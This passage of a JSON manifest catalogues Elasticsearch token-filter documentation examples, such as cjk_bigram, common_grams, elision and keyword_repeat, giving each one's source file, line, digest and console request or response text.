\"standard_cjk_bigram\": {\n \"tokenizer\": \"standard\",\n \"filter\": [ \"cjk_bigram\" ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/tokenfilters/cjk-bigram-tokenfilter.asciidoc","line":176},"digest":"5d428ea66252fd252b6a8d6f47605c86","lang":"console","found":["ruby"],"source":"PUT /cjk_bigram_example\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"han_bigrams\": {\n \"tokenizer\": \"standard\",\n \"filter\": [ \"han_bigrams_filter\" ]\n }\n },\n \"filter\": {\n \"han_bigrams_filter\": {\n \"type\": \"cjk_bigram\",\n \"ignored_scripts\": [\n \"hangul\",\n \"hiragana\",\n \"katakana\"\n ],\n \"output_unigrams\": true\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/tokenfilters/cjk-width-tokenfilter.asciidoc","line":28},"digest":"76b279835936ee4b546a171c671c3cd7","lang":"console","found":["ruby"],"source":"GET /_analyze\n{\n \"tokenizer\" : \"standard\",\n \"filter\" : [\"cjk_width\"],\n \"text\" : \"シーサイドライナー\"\n}"}, {"source_location":{"file":"analysis/tokenfilters/cjk-width-tokenfilter.asciidoc","line":69},"digest":"58e684e0b771b4646662fe12d3060c05","lang":"console","found":["ruby"],"source":"PUT /cjk_width_example\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"standard_cjk_width\": {\n \"tokenizer\": \"standard\",\n \"filter\": [ \"cjk_width\" ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/tokenfilters/classic-tokenfilter.asciidoc","line":21},"digest":"c8bbf362f06a0d8dab33ec0d99743343","lang":"console","found":["ruby"],"source":"GET /_analyze\n{\n \"tokenizer\" : \"classic\",\n \"filter\" : [\"classic\"],\n \"text\" : \"The 2 Q.U.I.C.K. Brown-Foxes jumped over the lazy dog's bone.\"\n}"}, {"source_location":{"file":"analysis/tokenfilters/classic-tokenfilter.asciidoc","line":132},"digest":"15c76cc8a038f686395053a240262929","lang":"console","found":["ruby"],"source":"PUT /classic_example\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"classic_analyzer\": {\n \"tokenizer\": \"classic\",\n \"filter\": [ \"classic\" ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/tokenfilters/common-grams-tokenfilter.asciidoc","line":28},"digest":"2fd0b3c132b46aa34cc9d92dd2d4bc85","lang":"console","found":["ruby"],"source":"GET /_analyze\n{\n \"tokenizer\" : \"whitespace\",\n \"filter\" : [\n {\n \"type\": \"common_grams\",\n \"common_words\": [\"is\", \"the\"]\n }\n ],\n \"text\" : \"the quick fox is brown\"\n}"}, {"source_location":{"file":"analysis/tokenfilters/common-grams-tokenfilter.asciidoc","line":126},"digest":"871154d08efd7251cf3272e758f06acf","lang":"console","found":["ruby"],"source":"PUT /common_grams_example\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"index_grams\": {\n \"tokenizer\": \"whitespace\",\n \"filter\": [ \"common_grams\" ]\n }\n },\n \"filter\": {\n \"common_grams\": {\n \"type\": \"common_grams\",\n \"common_words\": [ \"a\", \"is\", \"the\" ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/tokenfilters/common-grams-tokenfilter.asciidoc","line":206},"digest":"be285eef1d2df0dfcf876e2d4b361f1e","lang":"console","found":["ruby"],"source":"PUT /common_grams_example\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"index_grams\": {\n \"tokenizer\": \"whitespace\",\n \"filter\": [ \"common_grams_query\" ]\n }\n },\n \"filter\": {\n \"common_grams_query\": {\n \"type\": \"common_grams\",\n \"common_words\": [ \"a\", \"is\", \"the\" ],\n \"ignore_case\": true,\n \"query_mode\": true\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/tokenfilters/condition-tokenfilter.asciidoc","line":22},"digest":"09944369863fd8666d5301d717317276","lang":"console","found":["ruby"],"source":"GET /_analyze\n{\n \"tokenizer\": \"standard\",\n \"filter\": [\n {\n \"type\": \"condition\",\n \"filter\": [ \"lowercase\" ],\n \"script\": {\n \"source\": \"token.getTerm().length() < 5\"\n }\n }\n ],\n \"text\": \"THE QUICK BROWN FOX\"\n}"}, {"source_location":{"file":"analysis/tokenfilters/condition-tokenfilter.asciidoc","line":125},"digest":"a197076e0e74951ea88f20309ec257e2","lang":"console","found":["ruby"],"source":"PUT /palindrome_list\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"whitespace_reverse_first_token\": {\n \"tokenizer\": \"whitespace\",\n \"filter\": [ \"reverse_first_token\" ]\n }\n },\n \"filter\": {\n \"reverse_first_token\": {\n \"type\": \"condition\",\n \"filter\": [ \"reverse\" ],\n \"script\": {\n \"source\": \"token.getPosition() === 0\"\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/tokenfilters/decimal-digit-tokenfilter.asciidoc","line":20},"digest":"a21319c9eff1ac47d7fe7490f1ef2efa","lang":"console","found":["ruby"],"source":"GET /_analyze\n{\n \"tokenizer\" : \"whitespace\",\n \"filter\" : [\"decimal_digit\"],\n \"text\" : \"१-one two-२ ३\"\n}"}, {"source_location":{"file":"analysis/tokenfilters/decimal-digit-tokenfilter.asciidoc","line":75},"digest":"9c5cbbdbe0075ab9c2611627fe4748fb","lang":"console","found":["ruby"],"source":"PUT /decimal_digit_example\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"whitespace_decimal_digit\": {\n \"tokenizer\": \"whitespace\",\n \"filter\": [ \"decimal_digit\" ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/tokenfilters/delimited-payload-tokenfilter.asciidoc","line":47},"digest":"7dc82f7d36686fd57a47e34cbda39a4e","lang":"console","found":["ruby"],"source":"GET _analyze\n{\n \"tokenizer\": \"whitespace\",\n \"filter\": [\"delimited_payload\"],\n \"text\": \"the|0 brown|10 fox|5 is|0 quick|10\"\n}"}, {"source_location":{"file":"analysis/tokenfilters/delimited-payload-tokenfilter.asciidoc","line":120},"digest":"d443db2755fde3b49ca3a9d296c4a96f","lang":"console","found":["ruby"],"source":"PUT delimited_payload\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"whitespace_delimited_payload\": {\n \"tokenizer\": \"whitespace\",\n \"filter\": [ \"delimited_payload\" ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/tokenfilters/delimited-payload-tokenfilter.asciidoc","line":173},"digest":"27f9f604e7a48799fa30529cbc0ff619","lang":"console","found":["ruby"],"source":"PUT delimited_payload_example\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"whitespace_plus_delimited\": {\n \"tokenizer\": \"whitespace\",\n \"filter\": [ \"plus_delimited\" ]\n }\n },\n \"filter\": {\n \"plus_delimited\": {\n \"type\": \"delimited_payload\",\n \"delimiter\": \"+\",\n \"encoding\": \"int\"\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/tokenfilters/delimited-payload-tokenfilter.asciidoc","line":206},"digest":"50c2cea2adbe9523458c2686ab11df54","lang":"console","found":["ruby"],"source":"PUT text_payloads\n{\n \"mappings\": {\n \"properties\": {\n \"text\": {\n \"type\": \"text\",\n \"term_vector\": \"with_positions_payloads\",\n \"analyzer\": \"payload_delimiter\"\n }\n }\n },\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"payload_delimiter\": {\n \"tokenizer\": \"whitespace\",\n \"filter\": [ \"delimited_payload\" ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/tokenfilters/delimited-payload-tokenfilter.asciidoc","line":234},"digest":"d2f6fb271e97fde8685d7744e6718cc7","lang":"console","found":["ruby"],"source":"POST text_payloads/_doc/1\n{\n \"text\": \"the|0 brown|3 fox|4 is|0 quick|10\"\n}"}, {"source_location":{"file":"analysis/tokenfilters/delimited-payload-tokenfilter.asciidoc","line":246},"digest":"b24a374c0ad264abbcacb5686f5ed61c","lang":"console","found":["ruby"],"source":"GET text_payloads/_termvectors/1\n{\n \"fields\": [ \"text\" ],\n \"payloads\": true\n}"}, {"source_location":{"file":"analysis/tokenfilters/delimited-payload-tokenfilter.asciidoc","line":258},"digest":"82a0b9e193b65de0a1c71288328f5f3d","lang":"console-result","found":[],"source":"{\n \"_index\": \"text_payloads\",\n \"_id\": \"1\",\n \"_version\": 1,\n \"found\": true,\n \"took\": 8,\n \"term_vectors\": {\n \"text\": {\n \"field_statistics\": {\n \"sum_doc_freq\": 5,\n \"doc_count\": 1,\n \"sum_ttf\": 5\n },\n \"terms\": {\n \"brown\": {\n \"term_freq\": 1,\n \"tokens\": [\n {\n \"position\": 1,\n \"payload\": \"QEAAAA==\"\n }\n ]\n },\n \"fox\": {\n \"term_freq\": 1,\n \"tokens\": [\n {\n \"position\": 2,\n \"payload\": \"QIAAAA==\"\n }\n ]\n },\n \"is\": {\n \"term_freq\": 1,\n \"tokens\": [\n {\n \"position\": 3,\n \"payload\": \"AAAAAA==\"\n }\n ]\n },\n \"quick\": {\n \"term_freq\": 1,\n \"tokens\": [\n {\n \"position\": 4,\n \"payload\": \"QSAAAA==\"\n }\n ]\n },\n \"the\": {\n \"term_freq\": 1,\n \"tokens\": [\n {\n \"position\": 0,\n \"payload\": \"AAAAAA==\"\n }\n ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/tokenfilters/dictionary-decompounder-tokenfilter.asciidoc","line":32},"digest":"3fecd5c6d0c172566da4a54320e1cff3","lang":"console","found":["ruby"],"source":"GET _analyze\n{\n \"tokenizer\": \"standard\",\n \"filter\": [\n {\n \"type\": \"dictionary_decompounder\",\n \"word_list\": [\"Donau\", \"dampf\", \"meer\", \"schiff\"]\n }\n ],\n \"text\": \"Donaudampfschiff\"\n}"}, {"source_location":{"file":"analysis/tokenfilters/dictionary-decompounder-tokenfilter.asciidoc","line":152},"digest":"a5a5fb129de2f492e8fd33043a73439c","lang":"console","found":[],"source":"PUT dictionary_decompound_example\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"standard_dictionary_decompound\": {\n \"tokenizer\": \"standard\",\n \"filter\": [ \"22_char_dictionary_decompound\" ]\n }\n },\n \"filter\": {\n \"22_char_dictionary_decompound\": {\n \"type\": \"dictionary_decompounder\",\n \"word_list_path\": \"analysis/example_word_list.txt\",\n \"max_subword_size\": 22\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/tokenfilters/edgengram-tokenfilter.asciidoc","line":34},"digest":"6dbfe5565a95508e65d304131847f9fc","lang":"console","found":["ruby"],"source":"GET _analyze\n{\n \"tokenizer\": \"standard\",\n \"filter\": [\n { \"type\": \"edge_ngram\",\n \"min_gram\": 1,\n \"max_gram\": 2\n }\n ],\n \"text\": \"the quick brown fox jumps\"\n}"}, {"source_location":{"file":"analysis/tokenfilters/edgengram-tokenfilter.asciidoc","line":143},"digest":"16351d99d0608789d04a0bb11a537098","lang":"console","found":["ruby"],"source":"PUT edge_ngram_example\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"standard_edge_ngram\": {\n \"tokenizer\": \"standard\",\n \"filter\": [ \"edge_ngram\" ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/tokenfilters/edgengram-tokenfilter.asciidoc","line":203},"digest":"6f07152055e99416deb10e95b428b847","lang":"console","found":["ruby"],"source":"PUT edge_ngram_custom_example\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"default\": {\n \"tokenizer\": \"whitespace\",\n \"filter\": [ \"3_5_edgegrams\" ]\n }\n },\n \"filter\": {\n \"3_5_edgegrams\": {\n \"type\": \"edge_ngram\",\n \"min_gram\": 3,\n \"max_gram\": 5\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/tokenfilters/elision-tokenfilter.asciidoc","line":34},"digest":"446e8fc8ccfb13bb5ec64e32a5676d18","lang":"console","found":["ruby"],"source":"GET _analyze\n{\n \"tokenizer\" : \"standard\",\n \"filter\" : [\"elision\"],\n \"text\" : \"j’examine près du wharf\"\n}"}, {"source_location":{"file":"analysis/tokenfilters/elision-tokenfilter.asciidoc","line":96},"digest":"e2a7d127b82ddebb690a959dcd0cbc09","lang":"console","found":["ruby"],"source":"PUT /elision_example\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"whitespace_elision\": {\n \"tokenizer\": \"whitespace\",\n \"filter\": [ \"elision\" ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/tokenfilters/elision-tokenfilter.asciidoc","line":165},"digest":"8cef2b98f3fe3a85874f1b48ebe6ec63","lang":"console","found":["ruby"],"source":"PUT /elision_case_insensitive_example\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"default\": {\n \"tokenizer\": \"whitespace\",\n \"filter\": [ \"elision_case_insensitive\" ]\n }\n },\n \"filter\": {\n \"elision_case_insensitive\": {\n \"type\": \"elision\",\n \"articles\": [ \"l\", \"m\", \"t\", \"qu\", \"n\", \"s\", \"j\" ],\n \"articles_case\": true\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/tokenfilters/fingerprint-tokenfilter.asciidoc","line":35},"digest":"df82a9cb21a7557f3ddba2509f76f608","lang":"console","found":["ruby"],"source":"GET _analyze\n{\n \"tokenizer\" : \"whitespace\",\n \"filter\" : [\"fingerprint\"],\n \"text\" : \"zebra jumps over resting resting dog\"\n}"}, {"source_location":{"file":"analysis/tokenfilters/fingerprint-tokenfilter.asciidoc","line":76},"digest":"0eb2c1284a9829224913a860190580d8","lang":"console","found":["ruby"],"source":"PUT fingerprint_example\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"whitespace_fingerprint\": {\n \"tokenizer\": \"whitespace\",\n \"filter\": [ \"fingerprint\" ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/tokenfilters/fingerprint-tokenfilter.asciidoc","line":117},"digest":"1b0f40959a7a4d124372f2bd3f7eac85","lang":"console","found":["ruby"],"source":"PUT custom_fingerprint_example\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"whitespace_\": {\n \"tokenizer\": \"whitespace\",\n \"filter\": [ \"fingerprint_plus_concat\" ]\n }\n },\n \"filter\": {\n \"fingerprint_plus_concat\": {\n \"type\": \"fingerprint\",\n \"max_output_size\": 100,\n \"separator\": \"+\"\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/tokenfilters/flatten-graph-tokenfilter.asciidoc","line":39},"digest":"2c27a8eb6528126f37a843d434cd88b6","lang":"console","found":["ruby"],"source":"GET /_analyze\n{\n \"tokenizer\": \"standard\",\n \"filter\": [\n {\n \"type\": \"synonym_graph\",\n \"synonyms\": [ \"dns, domain name system\" ]\n }\n ],\n \"text\": \"domain name system is fragile\"\n}"}, {"source_location":{"file":"analysis/tokenfilters/flatten-graph-tokenfilter.asciidoc","line":118},"digest":"ef10e8d07d9fae945e035d5dee1e9754","lang":"console","found":["ruby"],"source":"GET /_analyze\n{\n \"tokenizer\": \"standard\",\n \"filter\": [\n {\n \"type\": \"synonym_graph\",\n \"synonyms\": [ \"dns, domain name system\" ]\n },\n \"flatten_graph\"\n ],\n \"text\": \"domain name system is fragile\"\n}"}, {"source_location":{"file":"analysis/tokenfilters/flatten-graph-tokenfilter.asciidoc","line":203},"digest":"2ee239df3243c98418f7d9a5c7be4cfd","lang":"console","found":["ruby"],"source":"PUT /my-index-000001\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"my_custom_index_analyzer\": {\n \"type\": \"custom\",\n \"tokenizer\": \"standard\",\n \"filter\": [\n \"my_custom_word_delimiter_graph_filter\",\n \"flatten_graph\"\n ]\n }\n },\n \"filter\": {\n \"my_custom_word_delimiter_graph_filter\": {\n \"type\": \"word_delimiter_graph\",\n \"catenate_all\": true\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/tokenfilters/hunspell-tokenfilter.asciidoc","line":73},"digest":"62f1ec1bb5cc5a9c2efd536a7474f549","lang":"console","found":[],"source":"GET /_analyze\n{\n \"tokenizer\": \"standard\",\n \"filter\": [\n {\n \"type\": \"hunspell\",\n \"locale\": \"en_US\"\n }\n ],\n \"text\": \"the foxes jumping quickly\"\n}"}, {"source_location":{"file":"analysis/tokenfilters/hunspell-tokenfilter.asciidoc","line":199},"digest":"20162e1dac807a7604f58dad814d1bc5","lang":"console","found":["ruby"],"source":"PUT /my-index-000001\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"en\": {\n \"tokenizer\": \"standard\",\n \"filter\": [ \"my_en_US_dict_stemmer\" ]\n }\n },\n \"filter\": {\n \"my_en_US_dict_stemmer\": {\n \"type\": \"hunspell\",\n \"locale\": \"en_US\",\n \"dedup\": false\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/tokenfilters/hyphenation-decompounder-tokenfilter.asciidoc","line":25},"digest":"f34c02351662481dd61a5c2a3e206c60","lang":"console","found":[],"source":"GET _analyze\n{\n \"tokenizer\": \"standard\",\n \"filter\": [\n {\n \"type\": \"hyphenation_decompounder\",\n \"hyphenation_patterns_path\": \"analysis/hyphenation_patterns.xml\",\n \"word_list\": [\"Kaffee\", \"zucker\", \"tasse\"]\n }\n ],\n \"text\": \"Kaffeetasse\"\n}"}, {"source_location":{"file":"analysis/tokenfilters/hyphenation-decompounder-tokenfilter.asciidoc","line":132},"digest":"5f8acd1e367b048b5542dbc6079bcc88","lang":"console","found":[],"source":"PUT hyphenation_decompound_example\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"standard_hyphenation_decompound\": {\n \"tokenizer\": \"standard\",\n \"filter\": [ \"22_char_hyphenation_decompound\" ]\n }\n },\n \"filter\": {\n \"22_char_hyphenation_decompound\": {\n \"type\": \"hyphenation_decompounder\",\n \"word_list_path\": \"analysis/example_word_list.txt\",\n \"hyphenation_patterns_path\": \"analysis/hyphenation_patterns.xml\",\n \"max_subword_size\": 22\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/tokenfilters/keep-types-tokenfilter.asciidoc","line":41},"digest":"83cd4eb89818b4c32f654d370eafa920","lang":"console","found":["ruby"],"source":"GET _analyze\n{\n \"tokenizer\": \"standard\",\n \"filter\": [\n {\n \"type\": \"keep_types\",\n \"types\": [ \"\" ]\n }\n ],\n \"text\": \"1 quick fox 2 lazy dogs\"\n}"}, {"source_location":{"file":"analysis/tokenfilters/keep-types-tokenfilter.asciidoc","line":94},"digest":"d94f666616dea141dcb7aaf08a35bc10","lang":"console","found":["ruby"],"source":"GET _analyze\n{\n \"tokenizer\": \"standard\",\n \"filter\": [\n {\n \"type\": \"keep_types\",\n \"types\": [ \"\" ],\n \"mode\": \"exclude\"\n }\n ],\n \"text\": \"1 quick fox 2 lazy dogs\"\n}"}, {"source_location":{"file":"analysis/tokenfilters/keep-types-tokenfilter.asciidoc","line":185},"digest":"13b02da42d3afe7f0b649e1c98ac9549","lang":"console","found":["ruby"],"source":"PUT keep_types_example\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"my_analyzer\": {\n \"tokenizer\": \"standard\",\n \"filter\": [ \"extract_alpha\" ]\n }\n },\n \"filter\": {\n \"extract_alpha\": {\n \"type\": \"keep_types\",\n \"types\": [ \"\" ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/tokenfilters/keep-words-tokenfilter.asciidoc","line":26},"digest":"9a036a792be1d39af9fd0d1adb5f3402","lang":"console","found":["ruby"],"source":"GET _analyze\n{\n \"tokenizer\": \"whitespace\",\n \"filter\": [\n {\n \"type\": \"keep\",\n \"keep_words\": [ \"dog\", \"elephant\", \"fox\" ]\n }\n ],\n \"text\": \"the quick fox jumps over the lazy dog\"\n}"}, {"source_location":{"file":"analysis/tokenfilters/keep-words-tokenfilter.asciidoc","line":118},"digest":"642c0c1c76e9bf226cd216ebae9ab958","lang":"console","found":[],"source":"PUT keep_words_example\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"standard_keep_word_array\": {\n \"tokenizer\": \"standard\",\n \"filter\": [ \"keep_word_array\" ]\n },\n \"standard_keep_word_file\": {\n \"tokenizer\": \"standard\",\n \"filter\": [ \"keep_word_file\" ]\n }\n },\n \"filter\": {\n \"keep_word_array\": {\n \"type\": \"keep\",\n \"keep_words\": [ \"one\", \"two\", \"three\" ]\n },\n \"keep_word_file\": {\n \"type\": \"keep\",\n \"keep_words_path\": \"analysis/example_word_list.txt\"\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/tokenfilters/keyword-marker-tokenfilter.asciidoc","line":35},"digest":"26f237f9bf14e8b972cc33ff6aebefa2","lang":"console","found":["ruby"],"source":"GET /_analyze\n{\n \"tokenizer\": \"whitespace\",\n \"filter\": [ \"stemmer\" ],\n \"text\": \"fox running and jumping\"\n}"}, {"source_location":{"file":"analysis/tokenfilters/keyword-marker-tokenfilter.asciidoc","line":95},"digest":"5302f4f2bcc0f400ff71c791e6f68d7b","lang":"console","found":["ruby"],"source":"GET /_analyze\n{\n \"tokenizer\": \"whitespace\",\n \"filter\": [\n {\n \"type\": \"keyword_marker\",\n \"keywords\": [ \"jumping\" ]\n },\n \"stemmer\"\n ],\n \"text\": \"fox running and jumping\"\n}"}, {"source_location":{"file":"analysis/tokenfilters/keyword-marker-tokenfilter.asciidoc","line":163},"digest":"059e04aaf093379401f665c33ac796dc","lang":"console","found":["ruby"],"source":"GET /_analyze\n{\n \"tokenizer\": \"whitespace\",\n \"filter\": [\n {\n \"type\": \"keyword_marker\",\n \"keywords\": [ \"jumping\" ]\n },\n \"stemmer\"\n ],\n \"text\": \"fox running and jumping\",\n \"explain\": true,\n \"attributes\": \"keyword\"\n}"}, {"source_location":{"file":"analysis/tokenfilters/keyword-marker-tokenfilter.asciidoc","line":184},"digest":"833e768e4bb608875c81988e1432f6a0","lang":"console-result","found":[],"source":"{\n \"detail\": {\n \"custom_analyzer\": true,\n \"charfilters\": [],\n \"tokenizer\": {\n \"name\": \"whitespace\",\n \"tokens\": [\n {\n \"token\": \"fox\",\n \"start_offset\": 0,\n \"end_offset\": 3,\n \"type\": \"word\",\n \"position\": 0\n },\n {\n \"token\": \"running\",\n \"start_offset\": 4,\n \"end_offset\": 11,\n \"type\": \"word\",\n \"position\": 1\n },\n {\n \"token\": \"and\",\n \"start_offset\": 12,\n \"end_offset\": 15,\n \"type\": \"word\",\n \"position\": 2\n },\n {\n \"token\": \"jumping\",\n \"start_offset\": 16,\n \"end_offset\": 23,\n \"type\": \"word\",\n \"position\": 3\n }\n ]\n },\n \"tokenfilters\": [\n {\n \"name\": \"__anonymous__keyword_marker\",\n \"tokens\": [\n {\n \"token\": \"fox\",\n \"start_offset\": 0,\n \"end_offset\": 3,\n \"type\": \"word\",\n \"position\": 0,\n \"keyword\": false\n },\n {\n \"token\": \"running\",\n \"start_offset\": 4,\n \"end_offset\": 11,\n \"type\": \"word\",\n \"position\": 1,\n \"keyword\": false\n },\n {\n \"token\": \"and\",\n \"start_offset\": 12,\n \"end_offset\": 15,\n \"type\": \"word\",\n \"position\": 2,\n \"keyword\": false\n },\n {\n \"token\": \"jumping\",\n \"start_offset\": 16,\n \"end_offset\": 23,\n \"type\": \"word\",\n \"position\": 3,\n \"keyword\": true\n }\n ]\n },\n {\n \"name\": \"stemmer\",\n \"tokens\": [\n {\n \"token\": \"fox\",\n \"start_offset\": 0,\n \"end_offset\": 3,\n \"type\": \"word\",\n \"position\": 0,\n \"keyword\": false\n },\n {\n \"token\": \"run\",\n \"start_offset\": 4,\n \"end_offset\": 11,\n \"type\": \"word\",\n \"position\": 1,\n \"keyword\": false\n },\n {\n \"token\": \"and\",\n \"start_offset\": 12,\n \"end_offset\": 15,\n \"type\": \"word\",\n \"position\": 2,\n \"keyword\": false\n },\n {\n \"token\": \"jumping\",\n \"start_offset\": 16,\n \"end_offset\": 23,\n \"type\": \"word\",\n \"position\": 3,\n \"keyword\": true\n }\n ]\n }\n ]\n }\n}"}, {"source_location":{"file":"analysis/tokenfilters/keyword-marker-tokenfilter.asciidoc","line":365},"digest":"1ec66f188f681598cb5d7df700b214e3","lang":"console","found":["ruby"],"source":"PUT /my-index-000001\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"my_custom_analyzer\": {\n \"type\": \"custom\",\n \"tokenizer\": \"standard\",\n \"filter\": [\n \"my_custom_keyword_marker_filter\",\n \"porter_stem\"\n ]\n }\n },\n \"filter\": {\n \"my_custom_keyword_marker_filter\": {\n \"type\": \"keyword_marker\",\n \"keywords_path\": \"analysis/example_word_list.txt\"\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/tokenfilters/keyword-repeat-tokenfilter.asciidoc","line":49},"digest":"a037beb3d02296e1d36dd43ef5c935dd","lang":"console","found":["ruby"],"source":"GET /_analyze\n{\n \"tokenizer\": \"whitespace\",\n \"filter\": [\n \"keyword_repeat\"\n ],\n \"text\": \"fox running and jumping\",\n \"explain\": true,\n \"attributes\": \"keyword\"\n}"}, {"source_location":{"file":"analysis/tokenfilters/keyword-repeat-tokenfilter.asciidoc","line":69},"digest":"19d80a3f2bcf9adf97fc1790ede525d3","lang":"console-result","found":[],"source":"{\n \"detail\": {\n \"custom_analyzer\": true,\n \"charfilters\": [],\n \"tokenizer\": ...,\n \"tokenfilters\": [\n {\n \"name\": \"keyword_repeat\",\n \"tokens\": [\n {\n \"token\": \"fox\",\n \"start_offset\": 0,\n \"end_offset\": 3,\n \"type\": \"word\",\n \"position\": 0,\n \"keyword\": true\n },\n {\n \"token\": \"fox\",\n \"start_offset\": 0,\n \"end_offset\": 3,\n \"type\": \"word\",\n \"position\": 0,\n \"keyword\": false\n },\n {\n \"token\": \"running\",\n \"start_offset\": 4,\n \"end_offset\": 11,\n \"type\": \"word\",\n \"position\": 1,\n \"keyword\": true\n },\n {\n \"token\": \"running\",\n \"start_offset\": 4,\n \"end_offset\": 11,\n \"type\": \"word\",\n \"position\": 1,\n \"keyword\": false\n },\n {\n \"token\": \"and\",\n \"start_offset\": 12,\n \"end_offset\": 15,\n \"type\": \"word\",\n \"position\": 2,\n \"keyword\": true\n },\n {\n \"token\": \"and\",\n \"start_offset\": 12,\n \"end_offset\": 15,\n \"type\": \"word\",\n \"position\": 2,\n \"keyword\": false\n },\n {\n \"token\": \"jumping\",\n \"start_offset\": 16,\n \"end_offset\": 23,\n \"type\": \"word\",\n \"position\": 3,\n \"keyword\": true\n },\n {\n \"token\": \"jumping\",\n \"start_offset\": 16,\n \"end_offset\": 23,\n \"type\": \"word\",\n \"position\": 3,\n \"keyword\": false\n }\n ]\n }\n ]\n }\n}"}, {"source_location":{"file":"analysis/tokenfilters/keyword-repeat-tokenfilter.asciidoc","line":156},"digest":"8cbf9b46ce3ccc966c4902d2e0c56317","lang":"console","found":["ruby"],"source":"GET /_analyze\n{\n \"tokenizer\": \"whitespace\",\n \"filter\": [\n \"keyword_repeat\",\n \"stemmer\"\n ],\n \"text\": \"fox running and jumping\",\n \"explain\": true,\n \"attributes\": \"keyword\"\n}"}, {"source_location":{"file":"analysis/tokenfilters/keyword-repeat-tokenfilter.asciidoc","line":179},"digest":"22482143f10ede75ca81a9232544a943","lang":"console-result","found":[],"source":"{\n \"detail\": {\n \"custom_analyzer\": true,\n \"charfilters\": [],\n \"tokenizer\": ...,\n \"tokenfilters\": [\n {\n \"name\": \"keyword_repeat\",\n \"tokens\": ...\n },\n {\n \"name\": \"stemmer\",\n \"tokens\": [\n {\n \"token\": \"fox\",\n \"start_offset\": 0,\n \"end_offset\": 3,\n \"type\": \"word\",\n \"position\": 0,\n \"keyword\": true\n },\n {\n \"token\": \"fox\",\n \"start_offset\": 0,\n \"end_offset\": 3,\n \"type\": \"word\",\n \"position\": 0,\n \"keyword\": false\n },\n {\n \"token\": \"running\",\n \"start_offset\": 4,\n \"end_offset\": 11,\n \"type\": \"word\",\n \"position\": 1,\n \"keyword\": true\n },\n {\n \"token\": \"run\",\n \"start_offset\": 4,\n \"end_offset\": 11,\n \"type\": \"word\",\n \"position\": 1,\n \"keyword\": false\n },\n {\n \"token\": \"and\",\n \"start_offset\": 12,\n \"end_offset\": 15,\n \"type\": \"word\",\n \"position\": 2,\n \"keyword\": true\n },\n {\n \"token\": \"and\",\n \"start_offset\": 12,\n \"end_offset\": 15,\n \"type\": \"word\",\n \"position\": 2,\n \"keyword\": false\n },\n {\n \"token\": \"jumping\",\n \"start_offset\": 16,\n \"end_offset\": 23,\n \"type\": \"word\",\n \"position\": 3,\n \"keyword\": true\n },\n {\n \"token\": \"jump\",\n \"start_offset\": 16,\n \"end_offset\": 23,\n \"type\": \"word\",\n \"position\": 3,\n \"keyword\": false\n }\n ]\n }\n ]\n }\n}"}, {"source_location":{"file":"analysis/tokenfilters/keyword-repeat-tokenfilter.asciidoc","line":274},"digest":"29783e5de3a5f3c985cbf11094cf49a0","lang":"console","found":["ruby"],"source":"GET /_analyze\n{\n \"tokenizer\": \"whitespace\",\n \"filter\": [\n \"keyword_repeat\",\n \"stemmer\",\n \"remove_duplicates\"\n ],\n \"text\": \"fox running and jumping\",\n \"explain\": true,\n \"attributes\": \"keyword\"\n}"}, {"source_location":{"file":"analysis/tokenfilters/keyword-repeat-tokenfilter.asciidoc","line":296},"digest":"baf54208b4d120a5ac4489c8027d32ba","lang":"console-result","found":[],"source":"{\n \"detail\": {\n \"custom_analyzer\": true,\n \"charfilters\": [],\n \"tokenizer\": ...,\n \"tokenfilters\": [\n {\n \"name\": \"keyword_repeat\",\n \"tokens\": ...\n },\n {\n \"name\": \"stemmer\",\n \"tokens\": ...\n },\n {\n \"name\": \"remove_duplicates\",\n \"tokens\": [\n {\n \"token\": \"fox\",\n \"start_offset\": 